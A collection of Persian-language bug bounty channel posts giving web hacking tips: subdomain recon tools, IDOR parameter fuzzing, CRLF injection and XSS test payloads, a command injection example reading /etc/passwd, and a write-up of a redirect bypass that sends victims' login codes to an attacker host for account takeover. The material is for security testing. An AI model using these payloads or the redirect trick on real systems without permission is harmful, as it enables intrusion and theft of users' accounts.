وقتی برای Wide Recon دنبال سابدامین‌ها می‌گردید، معمولاً یکی از روش‌ها استفاده از اطلاعات موجود در گواهینامه‌های SSL/TLS (Certificate) هست.

اما یک نکته حیاتی رو همیشه در نظر داشته باشید:

سایت‌ها می‌تونن روی لایه ریورس پراکسی خودشون، گواهینامه‌هایی با نام دلخواه و غیرمرتبط کانفیگ کنن!

چجوری اینکارو میکنن ؟

در واقع، یک گواهینامه با نام دلخواه (مثلاً یک دامین اشتباه یا حتی یک رشته تصادفی) تولید می‌کنن و روی Nginx یا هر وب‌سرور دیگه به عنوان SSL Certificate تنظیم می‌کنن.
هرچند این گواهینامه ممکنه ولید نباشه (Self-signed یا expired باشه)، اما باعث میشه وقتی شما certificate اون سایت رو بررسی می‌کنید، نتونید به درستی سابدامین‌های واقعی رو استخراج کنید یا حتی فریب بخورید . به نوعی مبهم سازی اتفاق بیوفته برای ریکانتون .

نتیجه : برای سابدامین دیسکاوری فقط به سرتیفیکت ها بسنده نکنین و روش های دیگه مثل DNS bruteforce و name resolution رو انجام بدید 🌷

@Dagen_security

simple Idor with this Trike :

api endpoint : GET /api/v2/worker/45321

test case :

1 - POST + 45322 —> 403 ❌

2 - change version (v1) —> 403 ❌

3 - add number like this : /api/v2/worker/45321,45322 —> 403 ❌

4 - parameter FUZZ , /api/v2/worker/45321?FUZZ=45322
boom its work : /api/v2/worker/45321?UserId=45322✅👌

@Dagen_security

یکی از بهترین ابزارهای وب برای ساب‌دامین دیسکاوری، c99 عه. ویژگی خاص و منحصربه‌فردش اینه که علاوه بر تفکیک ساب‌دامین‌های پشت کلادفلر، سایتی که بهش میدین رو در سال‌های قبلی که اسکن کرده هم بهتون نمایش میده. این باعث میشه شاید به یک ساب‌دامین خاص برسید و در نهایت به رنج IP اصلی خود کمپانی دست پیدا کنید 😎

link: https://subdomainfinder.c99.nl

@Dagen_security

یه مخزن اپن سورس راه‌های سریع برای تست اعتبار کلیدها و توکن‌های API لو رفته رو جمع کرده و از پروایدر های محبوب مثل Google, Slack, GitHub, AWS و… استفاده میکنه .
یه روش ایده آل برای هانتر ها که میخوانن بفهمن توکن های لو رفته و apikey که از یه پرورگرم لو رفته هنوز فعالن یا نه 🤌🔥

link : https://github.com/streaak/keyhacks

@Dagen_security

chaos Project Discovery

یکی از ابزار های قدرتمند برای سابدامین دیسکاوریه که توسط project-discovery نوشته شده .
کافیه اسم دامین رو بهش بدید و اگر دامین شما جزو لیست هاش بود میتونید فایل زیپ رو دانلود کنید . توی ریکان حتما پیشنهاد میشه چون مداوم در حال اپدیته و معمولا زودتر از ابزار های مشابه نتیجه بهتون میده 😎.

link : https://chaos.projectdiscovery.io

@Dagen_security

توی این مخزن هزاران فایل با پسوند .apk وجود داره، ولی نه یه APK اندروید، بلکه پکیج منیجرهای توزیع Alpine Linux برای معماری ARMv7 هستش.
یه منبع عالی برای تحلیل‌گران بدافزار برای مقایسه با دیتاست‌های سالم ✅

link : https://dl-cdn.alpinelinux.org/alpine/v3.10/main/armv7/

@Dagen_security

Godfather
خفن‌ترین وردلیست‌ها رو به‌صورت تخصصی می‌سازه و راز موفقیتش، ساختن وردلیست با کلمات رایجه. بخشی از وردلیست‌هایی که استفاده می‌کنه رو توی ریپازیتوری گیت‌هابش گذاشته.
پیشنهاد می‌کنم استفاده کنید.🫡

link: https://github.com/orwagodfather

@Dagen_security

امروزه همونطور که میدونیم داده های زیادی سمت کلاینت ذخیره میشه و سمت سرور معمولا داه کمی نگه داری میشه تا ترافیک شبکه شلوغ نشه
حالا چند نوع ذخیره سازی در سمت کلاینت داریم بریم با هم برسیشون کنیم .🫡

local storge :

توکن ها معمولا در لوکال استورج ذخیره سازی میشود و مکانیزم SOP باعث مانع دسترسی مقدار اون توی دامین های دیگه میشه .

session storage :

دقیقا مثل لوکال استورج ولی مقدارش با بستن تب پاک میشه و نیازه که دوباره لاگین کنیم .

indexedDB :

یه دیتابیس NO SQL که برای اپ های گرافیکی به کار میره , و برای اپ هایی که نیاز به ذخیره و کوئری دارن مفیده .
نکته : ممکنه توی این ذخیره ساز داده حساسی لو برن پس بد نیس یه نگاهی هم بهش بندازی

در نظر داشته باشیم ذخیره اشتباه داده ها سمت کلاینت میتونه اسیب پذیری هم ایجاد کنه و مثلا اگه توکن احراز هویت در لوکال استورج ذخیره بشه یه حمله xss به راحتی اونو میدزده .

@Dagen_security

برای تست CRLF Injection حتماً باید یک پکت معتبر ارسال کنیم.

اگر ورودی ما در ریسپانس و به‌ویژه در هدر Location رفلکت شود، یکی از بهترین و ضروری‌ترین تست‌ها crlf injection است :

/?url=https://sub.com/%0a%0dtest

در این حالت اگر اسیپ پذیر باشد، پکت ما به‌صورت زیر خواهد بود:

Location: https://sub.com/
test

اگر تارگت از ریورس پراکسی استفاده کند، ریورس پراکسی بررسی می‌کند که آیا پکتی که در پاسخ آمده معتبر است یا خیر. چون مقدار test هدر معتبری ندارد، ریورس پراکسی آن را حذف می‌کند و پکت معتبر می‌سازد. اینجاست که ما به‌سادگی اسیپ پذیری را میس میدهیم .

راه‌حل چیه ؟

برای تست CRLF باید همیشه یک هدر معتبر بسازیم و به آن مقدار بدهیم. برای مثال اگر وردی به به این شکل باشد در این چک ریورس پراکسی هدر معتبر در ریسپانس درخواست ظاهر میشود .

/?url=https://sub.com/%0a%0dtest:test%0a%0d

Location : https://sub.com/
test : test

این روش ساده میتواند یک اسیپ پذیری به ما بدهد و ما با باگی که جلوی چشامان است را میس ندهیم .

@Dagen_security

pain ..☕️

دوستان دوپلیکت شدن توی این مسیر یه چیز کاملا عادی و منطقی هستش اینو بدونید اگه دوپ میخورید مشکل از شما و دانشتون نیس فقط و فقط یکی زودتر از شما اون باگو پیدا کرده و خوش شانس تر بوده. نا امید نشید توی دفعات بعدی شما زودتر از بقیه گزارش میدین و بانتی گیرتون میاد 🌷

@Dagen_security

دوستان در طی فرایند ریکان به یه چیزی جالبی رسیدم اگر یک مسیر رو هوک گرفتید برای فاز مثل این :

https://target.com/document/login.php

اگه شما میومدی و این رو فاز میکردی تمام مسیر هایی که بهت میداد استاتوس کد 200 بر میگردونند حتی اگه مسیر یا فایلی وجود نداشت. خب اینجا ما مثلا یه کارایی مثل اضافه کردن user-agent و کم کردن ریت رو به fuff میدیم تا یه رفتار فازمون شبیه مرورگر به نظر بیاد

ffuf -u https://target.com/document/FUZZ.php -w raft.txt -H "My user-agent" -t 10

و یا میتونیم بر اساس سایز فیلتر کنیم

ffuf -u https://target.com/document/FUZZ.php -w raft.txt -fs <size number>

ولی توی این کیس اینا کار نمیکرد و وب اپلیکشن همون رفتارو داشت .

یه چیزی جالبی که به ذهنم رسید این بود که چرا یه ریفرر ولید اضافه نکنم ؟

پس من این دفعه فازمو بهتر کردم و یه ریفرر ولید هم گذاشتم توی کامند ffuf و بر اساس سایز فیلتر کردم

ffuf -u https://target.com/document/FUZZ.php -w raft.txt -H "My user-agent" -H "referrer : https://target.com/document/login.php" -fs <size number>

و اینجوری من فاز بهینه و درستی داشتم و سایز درخواست هام تغیر کرد
حتی شما میتونید هدر کوکی رو اضافه و ممکنه وب اپ بر اساس اون ادرس اونو ست کنه و سایز کانتنت متفاوتی برگردونه 🌷

@Dagen_security

یه ابزار برای جمع اوری ساب دامین ها که از پروایدر ها و ماژول های مختلف ساب میکشه بیرون و در حال توسعه هست😎

آیا RCE همون Command injection فرقشون توی چیه ؟

من اینجام که این موضوعو براتون روشن کنم 🤔

کد اینجکشن (RCE)

ببینید کد انجکشن زیر مجموعه حملات اینجکشنه دلیل به وجود اومدنش اینه که چکر فانکشن یا همون ولیدتور به علت سنیتاز نادرست دستور مخربو اجرا میکنه ولی کد اینجکشن قابلیت هدف گیری تمام فریم ورک و پلاگین ها و غیره ... داره در واقع ما کد برنامه نویسی به مسیر های مختلف وب سابت تزریق میکنیم . مخصوصا جایی هایی که یه چیزی داره سمت سرور چک میشه👀
و کارای مختلفی میشه باهاش کرد که بالاترینش گرفتن شل روی سرور هدفه .

<?php echo 1; ?>

کامند اینجکشن (command injection)

چه زمانی اتفاق میوفته ؟ زمانی که یک api endpoint میاد و ورودی کاربرو مستقیم توی Bash میزاره و باگش خیلی خطرناک تر از RCE هستش و میدونید دیگه میتونیم عین خود ترمینال دستور وارد کنیم و دانلود و حدف کنیم و حتی تغیر بدیم .
نکته : توی این باگ ورودی از کاربر گرفته میشه .

?check_order=cat /etc/passwd

نکته : توی بحث باگ بانتی کافیه شما فقط یه دستور ساده وارد کنید تا آسیب پذیری رو تایید کنید و لزومی نیست که تا شل گرفتن پیش برید .

حالا این دو حمله میتونه هر کدوم یه سری بایپس های ریز و تکنیک های داشته باشه نمونه هایی که توضیح دادم خیلی سیمپل و ساده بودنند و در ادامه مطالبی با این عنوان گذاشته میشه امیدوارم درک خوبی داشته باشید .🌷

@Dagen_security

خب خب میرسیم به بحث جذاب swagger

اول از همه باید بدونیم خود swagger چیه و نحوه کارکردش چیه ؟

یه ابزاره اپن سورس با پیاده سازی های مختلف که به دلوپرها کمک میکنه تا اندپویت ها api رو مستند کنن و راحت تر بفهمن هر نقطه و اندپوینت چه کاری انجام میده . خود swagger یه داکیومت خودکار میسازه و نشون میده که هر کدوم اندپوینت چه وردی و خروجی هایی داره و یه رابط گرافیکی تمیز میسازه👌

نکته : swagger از الگوی طراحی شده REST استفاده میکنه و معمولا هم فرمت json داره .

یک فایل openapi.yaml یا openapi.json داریم که به ما میگه API شما چه مسیرها، پارامترها، ورودی‌ها، خروجی‌ها و رفتارهایی داره.


خب حالا که اینارو فهمیدیم یه هانتر چه سو استفاده ای میتونه ازش بکنه اگه سرور هدف اسیپ پذیر باشه ؟

DOM reflected Xss

ببینید شما وقتی که میخواید رو پیاده سازی کنید برای بارگزاری فایل openapi.json به صورت دیفالت از پارامتر هایی مثل Config_url یا url استفاده میشه که اگر این پارامتر ها درست sanitize نشده باشند ما اسیپ پذیری داریم .

site.com/swagger?config_url=/openapi

site.com/swagger?config_url=<script>alert(1)</script>

ولی توی خیلی از مواقع این برنامه نویس ها اسم پارامتر رو غیر قابل حدس میزارن و عوض میکنن ولی ضرری نداره یه پارامتر فاز سنگین هم روش انجام بدیم و شانس پیدا کردن این اسیپ پذیریو افزایش بدیم 👌



API Identification در Swagger

نمایش کامل مسیرها

توی سووگر به دلیل اینکه تمام مسیرهای api های یک اپلیکشن همه در معرض دید هستند و حتی پارامتر های api های را داریم همین امر میتونه به ما کمک بکنه مسیر های دیگه ای از REST API هایی که به صورت هیدن و مخفی هستند را حدس بزنیم و از مسیر هایی که مستند سازی نشده رو پیدا کنیم

مثال : اگر یک اندپوینت با این ادرس وجود داشته باشه :

/users/{id}/settings/

احتمالا این اندپوینت هم وجود داره که با فاز بدست میاد :

/users/{id}/security/

این باعث میشه ما به یک سری از مسیر ها و اندپوینت ها برسیم که به دلیل پیکربندی نادرست که اطلاعات حساس در آن وجود داشته باشه🤌

دستکاریی و تغیر نقش بدون احزار هویت

اگه به یه صفحه سووگر رسیدید تست کنید که ایا اون صفحه از شما یوزر نیم و پسورد برای احراز هویت میخواد یا نه ؟
تست کنید ایا شما دسترسی و مجوز تغیر اندپوینت های حساس رو دارید و میتونید به مقادیر حساس کاربر دیگری دست پیدا کنید و یا نقش خودتون رو از یوزر عادی سایت به ادمین تغیر بدید ؟👀
نکته : اگه دسترسی برای ما فراهم باشه ضعف در سرور اصلیه نه سووگر🫡

این ها بخشی از چیزی بود که شما باید برای تست یه صفحه سووگر بدونید و مستند سازی سووگر میتونه سرنخ های زیادی برای یک مهاجم داشته باشه امیدوارم به اندازه کافی درک کرده باشید هر چند که بالا آوردن یه آزمایشگاه کوچیک برای سووگر توصیه میشه 😎☕️


@Dagen_security

خب اینجام که در مورد باگی که اخیرا زدم رو باهاتون به اشتراک بزارم که باعث شد مفهوم خوبیو یاد بگیرم 😎


بعد از تکمیل کردن واید ریکان علاقه شدیدی به عمیق شدن توی تارگت و شناسایی باگ های احراز هویت کردم با اینکه درک مکانیزم هر کدومشون سخت تر از یکی دیگه بود ولی باعث شد دید خوبی بگیرم و با شیوه های احراز هویت مدرن اشنا بشم ☺️

در حال چرخ زدن و کلیک کردن روی تموم لینکای توی سایت بودم که یک باتن و لینک توجه منو جلب کرد . در واقع لاگین کردن در یک بخش گیم و بازی وبسایت بود

Login by <TARGET>

سریع تب نتورک مرورگرمو باز کردم و روی لینک کلیک کردم چن تا درخواست توی تب تنورکم اومد که در ادامه دونه دونشو باهم تحلیل میکنیم .

ادرسی که من بازش کردم دقیقا این ادرس بود .

https://www.target.org/game/action/api/accounts/v2/login

این ادرس با جاوا اسکریپ چک میکرد که ایا من لاگین هستم یا ن اگر من لاگین نبودم منو میبرد به ادرس صفحه لاگین و اگر لاگین بودم یک لینک دیگه با جاوا اسکریپت برام میساخت

https://www.target.org/api/v1/connecting/authorize?client_id=examle&redirect_uri=https://www.target.org/game/action/remot_login&des_url=https://www.target.org/

و در ادامه

https://www.target.org/game/action/remot_login?code=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

وقتی این لینکو نگاه میکنم سوالی که توی ذهنم میاد آیا این OAUTH عه ؟ جوابش میشه نه . چرا ؟ چون oauth پارامتر های مشخصی داره و نمیشه قوانین oauth رو نقض کرد .
پس وب اپلیکشن داره یک مجیک لینک میسازهه که با ریدارکت ما رو انتقال و به اپلیکشن توکنو پاس میده .

اولین کاری که میکنم سرچ کردن مسیری که ریدارکت انجام میشه توی جاوا اسکریپت های وبسایته (ِDOM) اینجا ما میتونیم client_id رو سرچ کنیم و توی این یافته هامون دنبال یه سر نخیم که بتونیم یه خطایی ایجاد کنیم که دریچه ای برامون باز بشه . ولی توی این جستجو چیز جالبی ندیدم .

و کار دوم چیه ؟
توی این کیس ما یه پارامتر داریم به اسم redirect_url و انگار که سرور به پارامتر ریدارکت اعتماد میکنه و توکنو به سمت اون پاس میده هنوز نمیدونیم چه اتفاقی داره میافته ایا این ادرس فیکسه فیکسه یا ما میتونیم توی اون دست ببریم و ادرس سرور یا هاست خودمونو بزاریم تا توکن قربانی به سمت هاست ما بیاد ؟

https://www.target.org/game/action/remot_login

خیلی عجله ای شروع کردم هاستو به هاست خودم تغیر بدم ولی یه 403 خورد تو صورتم🗿
سعی کردم با حوصله روش کار کنم اولین کاری که کردم اینکه ایا میتونم اسکیم رو تغیر بدم ؟ خب نشد. بعدی هاست رو هم نمیشه تغیر داد ایا برنامه نویس رجکس زده ؟
رفتم سراغ پت یعنی این قسمت

/game/action/remot_login

فقط فقط میتونستم بخش اخرو بهش کاراکتر اضافه کنم پس سریع رفتم سراغ این تست ساده

https://www.target.org/game/action/remot_login\@server.me

ایندفعه هیچ گیری روی من نبود و اینتر رو زدم و به سرور من ریدارکت انجام شد و وب اپ گول خورد توی لاگ سرورم همچین ادرسی ارسال شد

https://server.me/?code=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

پس سناریو حمله چی بود ؟

من لینک دوم که دستکاری شده بود رو به قربانی میدادم قربانی اونو توی مرورگرش باز میکرد و اگر تو خود اپ اصلی لاگین بود مراحلش احرازش انجام میشد ولی توکنش توسط مهاجم دزدیده میشد که اسم باگ میشه Account Takeover

امیدوارم این سناریو رو درک کرده باشید و یکی از شیوه های احراز هویت اشنا شده باشید . حمایت فراموش نشه🌷



@Dagen_security

اگه به یک صفحه ای رسیدید که محتوای xml داخل اون قرار داره سریع از کنارش رد نشید

ما یه مبحثی داریم به اسم پارامتر دیسکاوری که روش های مختلفی برای پیدا کردن پارامتر های یه صفحه وجود داره !
توی سناریو بالا طبق مقاله هایی که خونده بودم میدونستم که کانتنت xml تایپ اسیپ پذیری کد مخرب جاوا اسکریپت(XSS) توش اجرا میشه

application/xml

یکی از روش های پارامتر دیسکاوری جمع کردن پارامتر از خود سورس همون صفحس پس اومدم و دونه به دونه پارامتر هارو توی ادرس یه مقدار رندوم بهش دادم یکی از پارامتر ها مقدارش عوض شد ☺️

device.prov.serverName

حالا کافی بود که یه پیلود xss بزارم ✅

/?device.prov.serverName = <script>alert(1)</script>

اتفاقی که اینجا افتاد این بود که نه تنها پیلودم اجرا نشد بلکه به یه خطای جدید خوردم :

xml parsed error !

یه جورایی منطقی بود چون کد جی اس توی اون کانتنت تایپ اجرا نمیشه. پس چی اجرا میشه ؟ افرین SVG

بعد کلی سرچ پیلود نهایی این بود :

<svg xmln="https://www.w3.org/2000/svg/" onload="alert(orign)"></svg>

خیلی مهمه وقتی به اینجور صفحه ها توی ریکان رسیدید یه xss رو اسکیپ نکنید🫡

@Dagen_security